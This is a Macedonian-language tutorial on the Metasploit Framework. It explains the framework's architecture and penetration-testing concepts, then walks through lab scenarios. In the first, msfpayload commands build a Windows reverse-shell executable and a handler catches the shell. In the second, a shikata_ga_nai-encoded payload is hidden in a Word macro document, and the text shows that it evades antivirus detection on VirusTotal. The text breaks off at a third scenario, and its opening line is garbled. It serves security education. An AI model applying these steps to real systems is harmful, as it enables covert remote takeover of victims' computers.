tou the tend to go of the second and the second and the test of the second and th The Metasploit Framework

4snd xpa% 4snd pip xea% dodxaa% usd

¹/27 d ¹/27 d 1212E783x0\$ Azuq xb3% Azuq b4, ¹/220 xb3% d 20 xb3% d 20

0.5 Ysnd JSJSE789x0\$ Asuq xb9% Asuq byb_{x69}

citd bus

%eax cltd

est House one

eux psh webx pon

Ву Даме Јованоски - Except1onX

Содржина

Сод	ржина	2
1.	Запознавање со Metasploit	4
2.	Архитектура на Metasploit	5
3.	. Делови на Metasploit работната околина	6
4.	NMAP Scanner	9
5.	Пенетрациско тестирање користејќи Metasploit	10
6.	Pen-testing користејќи Metasploit	12
6.1.	Сценарио број 1 — binary payload	12
6.2.	Сценарио број 2 –Visual Basic infection – метод	19
6.3.	Сценарио број 3 — Користење на додаток Social Engineering Tool (SET)	24
6.4. NOT	Сценарио број 4 — Користење на програми за прекривање на payload(пример EPAD.exe)	30

Вовед

Не постои 100% заштита која би не заштитила од малициозни напади, но сепак постојат начини на нивно спречување. Тоа спречување може да се изврши со користење на Metasploit работната околина која овозможува симулација на малициозен напад, со што се откриваат сигурностните пропусти. Со искористување на сигурностните пропусти напаѓачот овозможува пристап до компјутерот кој го напаѓа а со тоа пристап до одредени доверливи информации. Овој документ ќе даде приказ за тоа како изгледа т.е како се симулира малициозен напад и како ние би реагирале/спречиле тие напади.

1. Запознавање со Metasploit

Metasploit претставува open-source работна околина која овозможува откривање на сигурносни пропусти и помага во откривање во детекција на недозволен пристан на еден компјутерски систем (IDS signature¹). Тоа претставува развојна алатка за развиток и извршување на exploit код (код којшто експлотира одредена пропуст на еден систем при негово извршување).



Слика 1. Архитектура на Metasploit

Пред да започнеме да се запознаваме со архитектура на Metasploit работната околина, напрвин ќе "дефинираме" некои термини кои често ќе ги користиме при изучувањето:

¹ IDS – Intrusion detections system – престставува систем за детекција на неовластен пристап на корисници кои се дел од мрежата (LAN мрежата) или корисници кои се дел од интернет мрежата.

• Vulnerability

Во компјутерската безбедност овој термин се дефинира како пропуст или дефект во системските процедури, дизајн или имплементација која што може да биде извршена (несвесно или експлатирана од страна на корисникот) и како резултат на тоа може да дојде до оштетување на системот или на одредена активност.

• Exploit

Во компјутерската безбедност овој термин може да се дефинира како парче софтвер којшто преку одреден пропуст(слабост,ранливост) на системот му овозможува пристап на напаѓачот(ескалација на привилегиите) или Denial Of Service на самиот тој систем.

• Overflow

Во компјутерската безбедност овој термин се дефинира како грешка на програмата кога се обидува да смести што повеќе податоци во меморискиот простор за привремено сместување податоци којшто доведува до менување на текот на извршување на програмата.

• Payload

Во компјутерската безбедност овој термин се дефинира како товариште т.е како програмски код од неколку бајти што се носи или што се транспортира заедно со exploitот до целта каде што треба да се изврши.

2. Архитектура на Metasploit

Најважниот дел од архитектурата на Metasploit е REX ²кој претставува Ruby Extension Library. REX овозможува имплементација на пртокол клиент-сервер, subsystem за логирање, exploiting utility classes (додатни класи/алатки за exploits) и многу други додатни алатки и класи. REX приклучната датотека е направена такашто да не биде зависна од другите класи кои се дел од RUBY при нејзината инсталација, таа се инсталира посебно такашто неможе да се доведе до нејзина не функционалност.

² Претставува посебна класа независна од RUBY(не зависи од нејзините инсталациони default класи) за да може независно да работи.

Самата работна околина е поделена на повеќе делови, а меѓунив е и делот којшто се наоѓа на најниското ниво (low-level) а тоа е јадрото на работната околина (framework core). Јадрото на работната околина е одговорно за имплементирање и овозможување на интерфејс на користникот за да му овозможи интеракција со особините коишто ги нуди самата околина (сесии,модули,exploits и некои додатоци/plugins). Јадрото на работната околина овозможува кориснични интерфејс (UI – user interface) и овзможува на различни начини на пристап до оваа работна околина кои подоцна ќе ги разгледаме.

Како посебни делови на работната околина се модулите и додатоците (plugins) коишто ни помагаат при работата. Такви модули се: exploit, payload, NOP генератор ³и auxiliary. Овие модули имаат добро дефинирана структура и се користат за да ја продолжат функционалноста на работната околина или при одредени случаеви каде сакаме тие да завземат одредена улога при работата. Овие додатоци при нивно користење можат да додадат некои нови команди, скенираат цела мрежа, да вршат забелешки на мрежата и други особини во зависност од тоа која алатка за која намена ќе ја одбереме.

3. Делови на Metasploit работната околина

Пристапи до Metasploit работната околина се:

• msfconsole



³ NOP - како инструкција во assembly претставува скратеница од No operation.

Слика 2.Конзолен приказ на Metasploit работната околина

Конзолниот пристап на Metasploit работната околина овозможува преглед на повеќе алатки коишто ги нуди работната околина. Повеќето корисници преферираат користење на конзолниот приказ на работната околина поради тоа што овој пристап користи најмалку ресурси од меморијата при нејзиното активирање и воедно и работа во зависност од останатите пристапи. Конзолниот пристап може да се комбинира со bash скриптниот јазик којшто е достапен во Linux оперативниот систем, додека пак кај Windows оперативниост систем работата на конзолниот приказ на Metasploit е сличен поради тоа што се користи симулација на Linux комадна линија позната под името Cygwin.

• msfcli

Msfcli пристапот до Metasploit работната околина

🖅 💿 root@bt4: /p	entest/exploits/framework3 - Shell - Konsole <3> 📃 🖀 🕱
Session Edit View	Bookmarks Settings Help
root@bt4:/pentest/ Usage: ./msfcli <e< td=""><td><pre>/exploits/framework3# ./msfcli -h exploit name> <option=value> [mode]</option=value></pre></td></e<>	<pre>/exploits/framework3# ./msfcli -h exploit name> <option=value> [mode]</option=value></pre>
Mode	Description
(H)elp	You're looking at it baby!
(S)ummary	Show information about this module
(0)ptions	Show available options for this module
(A)dvanced	Show available advanced options for this module
(I)DS Evasion	Show available ids evasion options for this module
(P)ayloads	Show available payloads for this module
(T)argets	Show available targets for this exploit module
(AC)tions	Show available actions for this auxiliary module
(C)heck	Run the check routine of the selected module
(E)xecute	Execute the selected module
112 - 1409 A Ch (1+3 - C - C	
root@bt4:/pentest/	exploits/framework3#
🐴 🗃 Shell	N ₁

Слика 3.msfcli приказ на Metasploit работната околина

• msfgui

		🗙 <u>C</u> ancel 🔍 <u>F</u> ind	Jobs Job ID Module
▶ 🌾 Exploits All loa	aded exploit modul	es (396)	Jobs
🖌 🔾 Auxiliary All loa	aded auxiliary mod	ules (181)	
Module Information	Module Output		Sessions
Module Information	Module Output		Sessions
Module Information	Module Output	tasploit Framework GUI!	Sessions
Module Information Wel This interface can be	Module Output come to the Me	tasploit Framework GUI!	Sessions
Module Information Wel This interface can be wizard, browse to a the source code of a	Module Output come to the Me e used in either wiz module in the list a a module, right-clic	tasploit Framework GUI! ard-mode or console-mode. To start the above, and double-click its name. To view k its name and select the View Code	Sessions Target Type

Слика 4. Msfgui приказ на Metasploit работната околина

• msfweb



Слика 5.msfweb приказ на Metasploit работната околина

Msfweb приказот на Metasploit работната околина овозможува web пристап користејќи Apache (Web cepвep) на порт 55555. Овој вид на пристап овозможува лесен и едноставен пристап до опциите којшто ги нуди оваа работна околина. Со користење на web пребарувачот можеме да имаме и конзолен пристам и преглед на сесиите којшто успешно сме ги овозможиле користејќи некој payload и некој exploit за којшто подцна ќе дискутираме.

4. NMAP Scanner

Nmap скенерот е дел од Metasploit кој му овозможува на корисникот информации за целта којашто ја тестира или "напаѓа". Nmap скенерот овозможува информации на корисникот за кои порти (ports) се отворени, овозможуваа информации за портите кој сервис го користат, информации за оперативниот систем којшто се користи на целта, и доколку скенирањето е извршено во една LAN мрежа, се добиваат информации за MAC адресата на компјутерите учесници во истата таа мрежа.



5. Пенетрациско тестирање користејќи Metasploit.

Што всушност претставува Penetration testing?(пенетрациско тестирање)

Пенетрациско тестирање е метод на нарушување на безбедноста на еден компјутерски систем или мрежа и претставува симулација на напад со малициозен карактер којшто е извршен од страна на некој Black hat хакер или кракер. Процесот вклучува активна анализа за системот и детектирање на потенцијални vulnerabilities (пропусти/дефекти) којшто се резултат на слабата или несоодветната системска конфигурација. Оваа анализа се извршува од страна на потенцијалниот напаѓач којшто извршувајќи активна експлатација на системот т.е дефектите на системот. Секој безбедносен пропуст што се открива од страна на "pen-тестерот" и се пријавуваат кај сопственикот којшто е одговорен за управување и одржување на системот со цел да се спречи и обезбеди системот малициозни напади.

Постојат повеќе начини на тестирање и тоа:

1. White box

- Пен-тестерот има информации за мрежата која ја тестира (внатрешна или оддалечена).
- Видови на мрежни уреди(Cisco, TCP/IP).
- Инфромации за Web сервер што се користи (UNIX/APACHE).
- Верзија на оперативен систем.(LINUX/Windows).
- Платформа на база на податоци(Oracle, MS SQL).
- Load balancers
- Firewalls
- Т.е симулација во која што напаѓачот/тестерот има детални информации за средината која што ја тестира.

2. Black box

- Пен-тестерот нема претходни информации за за мрежата која ја тестира/напаѓа.
- Само името на компанијата и IP адресата се познати.
- Претставува симулација на real world хакирање којшто нема претходно информации(верзијата на оперативниот систем,апликациите коишто ги користат, видови на уреди и мрежни топологии кои се имплементирани и тн.)за remote network environment.(за оддалечената мрежна средина).

Цели на пенетрациско тестирање:

- 1. Не деструктивни тестирања:
- Скенирање на далечински сервери за одредени vulnerabilities (пропусти/дефекти)
- Анализирање и потврдување/дефинирање на резултатите.
- Дефинирање на релација vulnerability-exploit (кој exploit за кој пропуст/слабост)
- Не се користат критични DoS (denial of service) напади.
- 2. Дестриктивни тестирања:
- Скенирање на далечински сервери за одредени vulnerabilities (пропусти/дефекти)
- Анализирање и потврдување/дефинирање на резултатите.
- Дефинирање на релација vulnerability-exploit (кој exploit за кој пропуст/слабост)
- Се испробуваат сите DoS(denial of service) напади(пр. Buffer Overflow).

Организирање на пенетрациско тестирање (план/чекори на пенетрациско за остварување тестирање):

- Information Gathering
- Fingerprinting or Footprinting
- Network Surveying / Network Mapping
- Ports Scanning and Services Identification
- Evading Firewall Rules
- Automated Vulnerability Scanning
- Exploiting Services for Known Vulnerabilities
- Exploiting Web-Based Authorization
- Password Cracking / Brute Forcing
- Denial of Services (DoS) Testing
- Escalation of Privileges

Видови на експерти(хакер) за компјутерска безбедност:

- White hat hacker претставува експерт во компјутерската безбедност кој има за цел да ја заштити компјутерска мрежа, пропусти/дефекти и не прави никаков малициозен пристап до било каква компјутерска мрежа со претходно да има одобрување од страна на сопственикот/адмнинистраторот.
- Black hat hacker претставува експерт во компјутерската безбедност кој има за цел да наштети на одредена компјутерска мрежа поради сопствени цели/идеи/предизвици со користење на одереди малициозни програми со цел на откривање на пропустите/дефекти на системот со цел ескалација на привилегии и

овозможување на high-level пристап до било каква компјутерска мрежа (или компјутер којшто е дел од некоја мрежа) без претходно да има одобрување од страна на сопственикот/адмнинистраторот.

• Grey hat hacker – претставува експерт во компјутерската безбедност кој има за цел или да му наштети или да заштити одредена компјутерска мрежа. Дефинирањето на овој тип на хакери е помеѓу значењата на White hat/Бlack hat типови на хакери.

6. Pen-testing користејќи Metasploit

Користејќи го Metasploit ние ќе симулираме некој начини на добивање на пристап до одредена цел и ескалирање на привилегии. Овие симулации се направени користејќи VMWARE и користење на виртуелна мрежа помеѓу два компјутери со што се симулираат real life сценарија за тоа како може да се добие пристап до одредена цел(компјутер) со користење на IP адресата на целта. Во Metasploit ние ќе користиме client-side exploit кои работат на принципот сервер-клиент.

6.1. Сценарио број 1 – binary payload





КЛИЕНТ/ЦЕЛ

IP:192.168.163.128 PORT:1075 Payload: windows/shell_reverse_TCP Во ова сценарио ние користиме бинарен payload т.е payload во извршна датотека .exe.

Сега ќе ја објасниме чекор по чекор постапката на креирање на ваков тип на payload:

1.Чекор – Повикување на Msfpayload.

Msfpayload е колекција на payload со различна намена и за различна верзија на Оперативен систем (Linux или Windows). Повикувајќи ја оваа команда можеме да забележеме листата на payloads којшто можат да се користат, ние во овој случај ќе го користиме windows/shell_reverse_TCP⁴.

a 🛛 👘 👘 Loot@t	ot: ~ - Shell - Konsole 🛛 🖉 🗑 🗑
Session Edit View Bookmarks Settings Help	
535, slowly), Uploads an executable and runs it	
windows/vncinject/bind_ipv6_tcp	Listen for a connection over IPv6, Inject a VNC Dll via a reflec
tive loader	
windows/vncinject/bind_nonx_tcp	Listen for a connection (No NX), Inject a VNC Dll via a reflecti
ve loader	
windows/vncinject/bind_tcp	Listen for a connection, Inject a VNC Dll via a reflective loade
Comparison of the experiment of the Property of the Propert	n ser and the set of the set of the second secon
windows/vncinject/find_tag	Use an established connection, inject a VNC Dil Via a reflective
Loader	Consist hold to the ottacker over TDUC. Triat a NMC D11 with a r
windows/vncinject/reverse_ipvo_tcp	Connect back to the attacker over 1906, inject a VNC Dil Via a r
vindeus (uncipiest / reverse nenv. ten	Connect back to the attacker (Ne NY) Inject a VNC Dil via a ref
lective loader	Connect back to the attacker (NO NX), inject a VNC bit Via a ren
windows/vnciniect/reverse ord ton	Connect back to the attacker. Inject a VNC Dll via a reflective
loader	
windows/vnciniect/reverse tcn	Connect back to the attacker. Inject a VNC Dll via a reflective
loader	connect back to the attackery inject a the bet via a teresetive
windows/vncinject/reverse tcp allports	Try to connect back to the attacker, on all possible ports (1-65
535, slowly), Inject a VNC Dll via a reflective load	er
windows/x64/exec	Execute an arbitrary command (Windows x64)
windows/x64/meterpreter/bind tcp	Listen for a connection (Windows x64), Inject the meterpreter se
rver DLL via the Reflective Dll Injection payload (W	indows x64)
windows/x64/meterpreter/reverse_tcp	Connect back to the attacker (Windows x64), Inject the meterpret
er server DLL via the Reflective Dll Injection paylo	ad (Windows x64)
windows/x64/shell/bind_tcp	Listen for a connection (Windows x64), Spawn a piped command she
ll (Windows x64)	
windows/x64/shell/reverse_tcp	Connect back to the attacker (Windows x64), Spawn a piped comman
d shell (Windows x64)	
windows/x64/shell_bind_tcp	Listen for a connection and spawn a command shell (Windows x64)
windows/x64/snell_reverse_tcp	Connect back to attacker and spawn a command shell (Windows X64)
root@ht:~#	
A Shell	The second s
🗥 👯 🔜 😻 🜌 💚 💥 📔 🔤 🗹 🚰 Default Session: target 🖓 root@bt	:: ~ - Sh (📽 root@bt: ~ - Shell - Konse)

Како што можеме на сликата да видеме дека со повикување на Msfpayload ни се прикажува целата листа на payloads.

2. Чекор – Приказ на опциите на payload-от.

Во овој чекор ќе користиме некој клучни зборови или кратенки кои се дефинирани во работната околина на Metasploit. Тие клучни зборови ќе ги употребиме и комбинираме со клучниот збор Msfpayload кој во комбинација со bash скриптниот јазик се зголемува неговата функционалност.

⁴ Користењето на shell_reverse_TCP ќе ни овозможи клиентот да се поврзи до серверот.

5 0			root@bt: ~ - Shell - Konsole	
Session Ed	dit View Bookmark	s Settings	Help	
windo windo	ws/x64/shell_bind ws/x64/shell_reve	_tcp rse_tcp	Listen for a connection and spawn a command shell (Wi Connect back to attacker and spawn a command shell (W	ndows x64) 🖻 indows x64)
root@bt:~ root@bt:~	# # msfpayload wind	ows/shell/	reverse_tcp o	
Na Versi Platfo Ar	me: Windows Comma on: 7217, 7546 rm: Windows ch: x86	nd Shell,	Reverse TCP Stager	
Needs Adm Total si Ra	in: No ze: 290 nk: Normal			
Provided spoonm sf <ste hdm <hdm skape <</hdm </ste 	by: <spoonm@no\$email. phen_fewer@harmon m@metasploit.com> mmiller@hick.org></spoonm@no\$email. 	com> ysecurity.	com>	
Basic opt Name	ions: Current Setting	Required	Description	
EXITFUNC LHOST LPORT	process 4444	yes yes yes	Exit technique: seh, thread, process The local address The local port	
Descripti Connect	on: back to the atta	cker, Spaw	n a piped command shell	
root@bt:~	#			A T
🖹 🔳 Shell				(Feg
🏊 🎘 🔳 🧕) 🖅 🚎 💥 📃 💽	🕑 📴 Default Ses	sion: 🙀 root@bt: ~ - Sh 🛛 🔤 root@bt: ~ - Shell - Konsol	1 2 18:07,

За добивање на опциите како што се прикажани на сликата во конзолата ќе го внесиме следново:

Msfpayload windows/shell_reverse_TCP o

Ова значи дека ќе го користиме payload-от којшто сме го селектирале за употреба во ова сценарио и со клучниот збор/буква "**o**" ќе ја употребеме за да ги добиеме опциите кои ни се нудат и кои ни се потребни за сетирање на нашите претходно дефинирани IP адреси и порти.

3. Чекор – Поставување/Сетирање на опциите на payload-от.

Од претходниот чекор можеме да видеме кои опции ни се нудат и кои опции ни се потребни за да го направеме нашиот payload да биде функционален. Во овој чекор ние ќе ги поставиме тие опции. Тие опции се LHOST и LPORT. Со LHOST ќе дефинираме IP адресата на хост-от т.е напаѓачот, а со LPORT ние ќе ја дефинираме портата преку која треба да се поврзиме до целта.Значи ќе употребиме:

- LHOST=192.168.163.128
- LPORT=33556

51 0			root@bt: ~ - Shell - Konsole	
Session B	Edit View Bookmark	s Settings	Help	
Descript Connec	ion: t back to the atta	cker, Spaw	n a piped command shell	
root@bt:	~# msfpayload wind	ows/shell/	reverse_tcp LH0ST=192.168.163.128 LP0RT=33556 o	
N Vers Platf A Needs Ad Total s R	ame: Windows Comma ion: 7217, 7546 orm: Windows rch: x86 min: No ize: 290 ank: Normal	nd Shell,	Reverse TCP Stager	
Provided spoonm sf <st hdm <h skape</h </st 	by: <spoonm@no\$email. ephen_fewer@harmon dm@metasploit.com> <mmiller@hick.org></mmiller@hick.org></spoonm@no\$email. 	com> ysecurity.	com>	
Basic op Name	tions: Current Setting	Required	Description	
EXITFUNC LHOST LPORT	process 192.168.163.128 33556	yes yes yes	Exit technique: seh, thread, process The local address The local port	
Descript Connec	ion: t back to the atta	cker, Spaw	n a piped command shell	
root@bt:	~#			•
🖪 🖬 She				Peg.
75 🖗 🔳 🤅		🔡 📴 Default Se	ssion: target 🛛 root@bt: ~ - She 🖃 root@bt: ~ - Shell - Konso	🔤 💊 1 2 (A : CA >

Значи за да ги добиеме опциите пополнети со нашите информации за целта и портот во конзоланата линија ќе внесеме:

Msfpayload windows/shell_reverse_TCP o LHOST=192.168.163.128 LPORT=33556 o

Повторно внесуваме "о" на крајот за да видеме дали точно сме ги внеселе потребните информации.

4. Чекор – Креирање на извршна датотека.

За да можеме да го постигнеме резултатот(добивање на комадна линија од целта што ce напаѓа) кој се базира се базира на клиент-сервер структура ние ќе го трансформираме нашиот payload во извршна датотека. Таа датотека треба да се изврши на целта која што се напаѓа. Како резултат на извршувањето ние ќе добиеме командна линија.

Во зависност од тоа во каква датотека сакаме нашиот payload да се трансформира може да употребеме различни клучни зборови/букви. Доколку сакаме да биде како во ова сценарио ние ќе уптребеме на местото каде што користевме буквата **"o"** за опции ние ќе употребиме буквата **"x"** што претставува executable што значи извршна и со тоа ќе ни се овозможи креирање на извршна датотека. Во комбинација со bash скриптниот јазик во Linux ќе ја искористиме резервираната команда/знак ">" за излез т.е оваа команда се користи за запишување на излзот на претходно извршената команда во некоја датотека.

5 0			root@bt: ~ - Shell - Konsole			
Session E	dit View Bookmark	s Settings	Help			
Connect	Connect back to the attacker, Spawn a piped command shell					
root@bt:-	root@bt:-# msfpayload windows/shell/reverse_tcp LH0ST=192.168.163.128 LP0RT=33556 o					
Na Versi Platfo Ar Needs Adm Total si Ra	Name: Windows Command Shell, Reverse TCP Stager Version: 7217, 7546 Platform: Windows Arch: x86 eeds Admin: No Total size: 290 Pank: Normal					
Provided spoonm sf <ste hdm <hd skape <</hd </ste 	<pre>Provided by: spoonm <spoonm@no\$email.com> sf <stephen_fewer@harmonysecurity.com> hdm <hdm@metasploit.com> skape <mmiller@hick.org></mmiller@hick.org></hdm@metasploit.com></stephen_fewer@harmonysecurity.com></spoonm@no\$email.com></pre>					
Basic opt	ions:					
Name	Current Setting	Required	Description			
EXITFUNC LHOST LPORT	process 192.168.163.128 33556	yes yes yes	Exit technique: seh, thread, process The local address The local port			
Descripti Connect	Description: Connect back to the attacker, Spawn a piped command shell					
root@bt:~	oot@bt:~# msfpayload windows/shell/reverse_tcp_LHOST=192.168.163.128_LPORT=33556_x>/root/test1.exe					
🖲 🛎 Shell	ľ					Re
75 🕷 🔳 🤮		🕑 🔚 Default Ses	ision: target - 🖬 root@bt: ~ - She 🗃 root@bt: ~ - Shell - Konso		1 2	(8 : 08 »

На сликата можеме да го видеме примерот за претворање во нашата команда со опции во клучна датотека. Во овој случај излезот на извршување на командата ќе се запиши во извршна дадотека која ќе се зачува на работната површина на Linux.

5. Поставување на handler(наслушувач) на payload-от.

Во овој чекор кој воедно е и финален чекор ќе разгледаме како се поставува наслушувач т.e handler за payload-от којшто сме го искористиле.

Најпрвин ја повикување работната околина на Metasploit преку конзолна линија со клучниот збор msfconsole. Во ова сценарио ги користиме следниве клучни зборови по повикувањето на msfconsole:

- Use exploit/multi/handler со повикување на наслушувач којшто го користи истиот тип на payload којшто претходно го искористивме за креирање на "client" којшто ќе се поврзи точно до овој наслушувач. Со сетирање на порта и IP адреса ние креираме всушност сервер на којшто нашата цел ќе се поврзи.
- Set payload windows/shell/reverse_tcp сетирање на payload на наслушувачот (windows/shell/reverse_tcp е слично co windows/shell_reverse_TCP од претходниот чекор).
- Show options клучен збор за прикажување на опциите.

not@bt: ~ - Shell - Konsole <2>	
Session Edit View Bookmarks Settings Help	
root@bt:-# msfconsale	•
# # ###### ###### ## ##### ###### # ####	
## ## # # # # # # # # # # # # # # # # #	
# ## # ###### # # ##### # # # # # # # #	
* * * * * ******** * ****** * * * * * *	
* * ####### # # # ##### # ###### ##### # #	
=[metasploit v3.3.4-dev [core:3.3 api:1.0]	
+=[490 exploits - 225 auxiliary	
$+ = \begin{bmatrix} 192 \\ pay(coads - 23 \\ encoders - 8 \\ nops \end{bmatrix}$	
Warning: This copy of the Metasploit Framework was last updated 81 days ago.	
We recommend that you update the framework at least every other day.	
For information on updating your copy of Metasploit, please see:	
http://www.metasploit.com/redmine/projects/framework/wiki/Updating	
eef - wee evelett/eulti/heedler	
msi > use exploit/multi/nandler	
payload => windows/shell/reverse to	
msf exploit(handler) > show options	
	-
R Shell	
	(0.00
🔼 💓 🜌 👾 🧸 📄 🔮 🖓 👘 👔 Default Session: target 📲 root@bt: ~ - Shell - Konsol 📽 root@bt: ~ - Sh	

На следната слика е прикажано сетирање на информации т.е сетирање на LHOST и LPORT со вредности 192.168.163.128 и 33556. Со користење на клучиот збор exploit се активира payloadot.

5 0	root@bt: ~ - Shell - Konsole <2>			
Session Edit View Bookmarks Settings He	session Edit View Bookmarks Settings Help			
sage: set name value				
Solge: Set name value Sets an arbitrary name to an arbitrary value. Isf exploit(handler) > set LHOST 192.168.163.128 LHOST => 192.168.163.128 Isf exploit(handler) > set LPORT 33556 LPORT => 33556 Isf exploit(handler) > show options Module options:				
Name Current Setting Required De 	<pre>scriptiontcp):</pre>			
Name Current Setting Required	Description			
EXITFUNC process yes LHOST 192.168.163.128 yes LPORT 33556 yes	Exit technique: seh, thread, process The local address The local port			
Exploit target:				
Id Name				
0 Wildcard Target				
<pre>msf exploit(handler) > exploit</pre>				
		<u>N</u>		
🔨 🎘 🔳 塑 🗃 📪 💥 🔝 💽 📴 Default Sessio	n: target 📲 root@bt: ~ - Shell - Konsol 🖬 root@bt: ~ - Sh	🚾 🔂 1 2 📳 : i i >		

Следно што треба да направиме е да ја активираме извршаната датотека од целта со тоа ние ќе ја добиеме комадната линија, но во зависност од тоа доколку на целта не е инсталиран анти вирусен софтвер за тоа ќе видиме подоцна во следните сценарија.

5 0	a a stell - Konsole <2> ■ ■ K				
Se	ssion Edit	View Bookmarks S	ettings Hel	p	
	Name Cur	rent Setting Req	uired Des	cription	
Pa	yload opti	ons (windows/shel	l/reverse_	tcp):	
	Name	Current Setting	Required	Description	
	EXITFUNC LHOST LPORT	process 192.168.163.128 33556	yes yes yes	Exit technique: seh, thread, process The local address The local port	
Ex	ploit targ	et:			
	Id Name 0 Wildca	ard Target			
<u>ms</u> [*	f_exploit(] Started	<mark>handler</mark>) > exploi reverse handler o	t n port 335	56	
[* [* [*	Starting Sending Command	the payload hand stage (240 bytes) shell session 1 o	ler pened (192	.168.163.129:33556 -> 192.168.163.128:1075)	
Mi (C	crosoft Wi) Copyrigh	ndows XP [Version t 1985-2001 Micro	5.1.2600] soft Corp.	T	
C :)	Documents	and Settings\a\D	esktop>Mor	e?	÷
2	Shell				Re
P.S.	🎘 🔳 🥹 🖬	- 😪	Default Session:	target : 🖬 root@bt: ~ - Shell - Konsol 🗃 root@bt: ~ - Sh	🏧 🔊 🎧 1 2 报 : >

Успешно добивање на комадна линија.

6.2. Сценарио број 2 –Visual Basic infection – метод



ΧΟΟΤ/ΗΑΠΑΓΆΥ

IP:192.168.163.129 PORT:32333 Payload: windows/shell_reverse_TCP Module: exploit/multi/handler Encode: shikata_ga_nai



Поради тоа што во претходното сценарио нашиот бинарен payload ќе биде детектиран од страна на анти вирусната програма, за таа цел ние ќе направиме нешто поинтересно и понапредно. Ќе искористиме енкодирање⁵(encoding) на payload-от. Ќе користиме слични информации за нашите напаѓач/цел, единствено ќе користиме различен порт.

Целта на ова сценарио е да го прикриеме нашиот payload во документ користејќи Microsoft Office 2007. Ќе користиме макроа во којшто ќе го вметнеме нашиот payload, payload-от ќе биде во формат .bas а додека пак екетензијата на документот кој го користиме ќе биде .docx кој подцна ќе го зачуваме во формат во кој ќе биде овозможено макрото и негово извршување.

1. Чекор – Поставување на опциите и енкодирање.

Поради тоа што некои чекори се слични со претходното сценарио и претходно се запознаевме кој често клучни збориви/букви ќе ги користиме во другите сценарија, одлучив овој чекор да го започнам со дефинирањето на опциите(options) и сетирање на енкодерот.

⁵ Encoding –енкодирање претставување претворање на информацијата од еден формат во друг.

5 0			root@bt: ~ - Sheil - Konsole		
Session E	dit View Bookmark	s Settings I	Help		
d shell (windo windo	shell (Windows x64) windows/x64/shell_bind_tcp windows/x64/shell_reverse_tcp Listen for a connection and spawn a command shell (Windows x64) Connect back to attacker and spawn a command shell (Windows x64)				
root@bt:~	<pre># msfpayload wind</pre>	ows/shell_r	everse_tcp o		
Na Versi Platfo Ar Needs Adm Total si Ra	me: Windows Comma on: 7075 rm: Windows ch: x86 in: No ze: 314 nk: Normal	nd Shell, F	Reverse TCP Inline		
Provided vlad902 sf <ste< td=""><td>by: <vlad902@gmail.c phen_fewer@harmon</vlad902@gmail.c </td><td>om> ysecurity.c</td><td>om></td></ste<>	by: <vlad902@gmail.c phen_fewer@harmon</vlad902@gmail.c 	om> ysecurity.c	om>		
Basic opt	ions:				
Name	Current Setting	Required	Description		
EXITFUNC LHOST LPORT	process 4444	yes yes yes	Exit technique: seh, thread, process The local address The local port		
Descripti Connect	on: back to attacker	and spawn	a command shell		
root@bt:~ rr.bas	# msfpayload wind	ows/shell_r	reverse_tcp LHOST=192.168.163.129 LPORT=32333 ENCODING=shikata_ga_nai v> /root/wo ‡		
🔠 🔳 Shel	I [- En		
75 🛞 🔳 🧕) 🔤 🔤 💥 📃 🖃	🕑 🚰 Default Sess	ion: target 🖬 root@bt: ~ - Sh 🖬 root@bt: ~ - Shell - Konsol 💯 💽 🖓 1 2 5: 🖪 >		

Како што може да се забележе од сликата поставувањето на payload-от кој ќе се користи, сетирање на информациите за LHOST и LPORT како и енкодирање во овој случај е одбран типот на енкодирање shikata_ga_nai (од јапонски што значи "it can't be helped" т.е "неможе да се помогне"). Постајат и други типови на енкодери но најдобар е shikata_ga_nai. Исто така се користи за излезна датотека "v>" што значи ќе се креира датотека во visual basic со формат .bas.

2. Чекор – Поставување на макрото во Word документ.

Најпрвин креираме нов документ во којшто треба да го вметнеме payload-от кој има форма на макро. Но пред да го направиме тоа треба најпрвин да го приклучиме Developer tab. Во горниот лев агол преку office икончето и во word options можеме да го штиклираме за употреба developer tab.



Сега можеме да го користиме Developer tab и да го искористиме за вметнување на payload-от.





Со активирање на Visual Basic го активираме на левата страна дека сакаме да направиме измени во макоата на документот моментално што го користиме т.е го притискаме ThisDocument.

21

Датотеката која претходно ја креиравме во Linux т.е .bas датотеката ја префрламе на Windows. Таа датотека е Visual Basic датотека, и со нејзино отварање ни го копираме делот.



А додека пак делот Payload Дата го копираме на работниот лист во Word.



Последниот чекор е зачувувањето на документот, тоа го правиме во формат.docm т.е формат каде е овозможено вметнување на макроа. И со активирање на .docm датотеката ние добиваме комадна линија на целта/клиентот.



Исто така можеме да го тестираме документот дали се детектира од страна на анти-вирусните програми т.е користејќи ја web страната <u>www.virustotal.com</u>

VirusTotal - Free Online Virus and Malware	Scan - Result - Microsoft Internet Explorer					
File Edit View Favorites Tools Help						<u></u>
🔇 Back + 🔘 - 💽 🙆 🏠 🔎 Search	h 👷 Favorites 🙆 🎯 🍓 🗟 • 🗾	11 ·3				
Address a http://www.virustotal.com/analisis/4a28a483	16aad5577b3d0220ef01056526e96ef4f34b5108f729b72bb18	8:290d-1270581862				🛩 🛃 Go Links 🦻
	TOT	AL files and worms, tr by antiviru	facilitates the quic ojans, and all kinds is engines. <u>More in</u>	k detection of viruse s of malware detecte formation	4	
	File New_Microsof	t_Office_Word_Documen (UTC) Current status: fir	inteceived on 2010.04	1.06 19:24:22		
	(@) Connest		a ka	Print results 🖷		
	Antivirus	Version	Last Update	Result		
	a-squared	4.5.0.50	2010.04.06	() 		
	AhnLab-V3	5.0.0.2	2010.04.06	-		
	AntiVir	7.10.6.31	2010.04.06	-		
	Antiy-AVL	2.0.3.7	2010.04.06			
	Authentium	5.2.0.5	2010.04.06	-		
	Avest	4.8.1351.0	2010.04.06	-		
	Avast5	5.0.332.0	2010.04.06			
	AVG	9.0.0.787	2010.04.06	-		
	BitDefender	7.2	2010.04.06	-		
	CAT-QuickHeal	10.00	2010.04.06	-		
	ClanAV	0.96.0.3-git	2010.04.06	-		
	Comodo	4520	2010.04.06	-		
	DrWeb	5.0.2.03300	2010.04.06	-		
	eSafe	7.0.17.0	2010.04.06	-		
	eTrust-Vet	35.2.7411	2010.04.06	-		
	F-Prot	4.5.1.85	2010.04.06	-		
	F-Secure	9.0.15370.0	2010.04.06	-		
8)						🔮 Internet
Start D Untitled - Notepad	VirusTotal - Free Onli					0 🖉 🕼 🔞 🔞 9:25 PM

Како што можеме да видеме од сликата дека ниту еден анти-вирусен програм не го детектирал нашиот payload.

6.3. Сценарио број 3 – Користење на додаток Social Engineering Tool (SET).



ΧΟΟΤ/ΗΑΠΑΓΆΥ

